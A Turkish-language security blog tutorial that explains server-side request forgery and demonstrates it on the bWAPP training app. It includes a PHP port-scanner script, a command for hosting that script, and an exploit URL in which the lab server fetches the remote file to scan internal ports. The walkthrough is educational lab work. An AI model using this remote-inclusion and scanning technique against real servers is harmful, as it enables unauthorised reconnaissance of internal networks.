Register Now

Login

Lost Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Login

Register Now

Canyoupwn.me ~

TR | SSRF ( Server Side Request Forgery ) Zafiyeti

Server Site Request Forgery, Sunucu Taraflı İstek Sahteciliği olarak türkçeye çevrilebilenceğimiz bir açıklıktır.
Sunucu Taraflı İstek Sahteciliği veya SSRF, bir saldırganın bir sunucuyu kendisi adına istekte bulunmaya zorlayan bir güvenlik açığıdır.
Biraz daha açacak olursak bir saldırganın güvenlik açığından etkilenen sunucuya gelen istekleri oluşturmak veya denetlemek için web uygulamasında kullanılan bir parametreyi değiştirmesine olanak verir.
Bir web uygulamasındaki bilgiler, başka bir web sitesinden gelen harici bir kaynaktan alınmak zorundaysa, sunucu tarafı istekleri kaynağı alıp web uygulamasına dahil etmek için kullanılır. Bu şekilde sunucuda kendi isteklerimizi çalıştırabildiğimizde açıklıktan etkinlenen sunucu ve sunucunun bulunduğu networkde büyük risk oluşturabilmektedir. Zafiyetten eetkilenen sunucuyu proxy olarak kullanarak internal network e erişim sağlayabilriz. SSRF kullanarak Cross Site Port Attack (XSPA) saldırısı yapmamıza olanarak sağlamaktadır.
Cross Site Port Attack (XSPA) ile etkilenen sunucu bulunduğu internal networkdeki sunuculara port taraması yapabiliriz.

SSRF saldırıları kullanarak şunları yapmak mümkündür:

  • Sunucu(lar)daki dosyaları okuma
  • Normal olarak erişilemeyen iç ağdaki tarama ve saldırı sistemleri
  • Bu ana makinelerde çalışan hizmetleri numaralandırmak ve saldırmak
  • Host-Based tabanlı kimlik doğrulama hizmetlerinden faydalanarak authentication bypass

Bunlardan bir kaçıdır.

Zafiyeti kısaca değindik neden kaynaklandığını, neler yapabileceğinizi artık biliyorsunuz. Gelelim şimdi bWAPP (buggy web application)  üzerinden küçük bir SSRF demosuna.

bWAPP üzerinde SSRF Sekmesinde bu zafiyeti RFI sekmesi üzerinden SSRF kullanarak Port taraması yapmamızı istemekte. Port scan kısmına tıklarsanız size bu işlemi yapabilecek php kodlarını vermektedir. İsterseniz o url üzerindende tetikleyebilirsiniz. Fakat kendiniz o dosyayı indirip kendi atacker ipnizden ya da bir site üzerine yükleyerek tetikleyebilirsiniz.

Port scan sözcüğünün üzerine tıkladığınız açılan sayfa bu şekildedir. Şimdi bu kodu kopyalayarak atak yaparken kullanacağınız pc nin Desktop ına dosya oluşturarak yapıştırınız.

<?php


if(isset($_REQUEST["ip"]))
{
    
    //list of port numbers to scan
    $ports = array(21, 22, 23, 25, 53, 80, 110, 1433, 3306);
    
    $results = array();
    
    foreach($ports as $port)
    {

        if($pf = @fsockopen($_REQUEST["ip"], $port, $err, $err_string, 1))
        {

            $results[$port] = true;
            fclose($pf);
            
        }
        
        else
        {

            $results[$port] = false;        

        }

    }
 
    foreach($results as $port=>$val)
    {

        $prot = getservbyport($port,"tcp");
        echo "Port $port ($prot): ";

        if($val)
        {

            echo "<span style=\"color:green\">OK</span><br/>";

        }

        else
        {

            echo "<span style=\"color:red\">Inaccessible</span><br/>";

        }

    }

}
?>

Benim düzenlediğim dosya burada bWAPP üzerindeki dosyada XSS payloadıda bulunmaktaydı fakat onu çıkarttım denemek isteyenler o satırı ekleyebilirler. Şimdi bu kodu masaüstümüzde ssrf.txt adında bir dosya açıp içine yapıştırıyoruz.

Burda gördüğünüz işlem kendi makinamın Desktop dizinini kendi ip adresim üzerinden 8000 portu ile dışarıya açmama yarayan komuttur.

 python -m SimpleHTTPServer PortNo

şeklindedir.

Artık gelelim SSRF açığını kullanarak port tarama saldırımıza.

http://192.168.2.35/bWAPP/rlfi.php?language=lang_en.php&action=go  normal  urlimizi bu fakat biz bu urlde language parametresinde biraz önce düzeltiğimiz ve yayına açtığımız ssrf.txt dosyasının urlini giriyoruz. Ve bunun önüne kendimiz bir ip parametresi tanımlıyoruz ve portlarını taranacak ip adresini giriyoruz.Bu ip adresi bWAPP ın kurulu olduğu sunucunun ipsi bu örneğimizde. Gördüğünüz gibi atak başarılı bir şekilde gerçekleşti ve port tarama sonuçları önümüze geldi. http://192.168.2.35/bWAPP/rlfi.php?ip=192.168.2.35&language=http://192.168.2.228:8000/ssrf.txt&action=go

 

Bu şekilde SSRF açıklığı bulunan bir sistemte proxy olarak kullanarak internal networke ulaşıp oradada keşif ve port taraması yapabilmek mümkündür. Başka bir yazıda görüşmek üzere.

Referanslar:

http://www.acunetix.com/blog/articles/server-side-request-forgery-vulnerability/
https://www.netsparker.com/blog/web-security/server-side-request-forgery-vulnerability-ssrf/
https://securingtomorrow.mcafee.com/mcafee-labs/server-side-request-forgery-takes-advantage-vulnerable-app-servers/

SSRF Cheatsheet : https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM/edit

About Ahmet Gürel

Cyber Security Researcher | Penetration Tester

Follow Me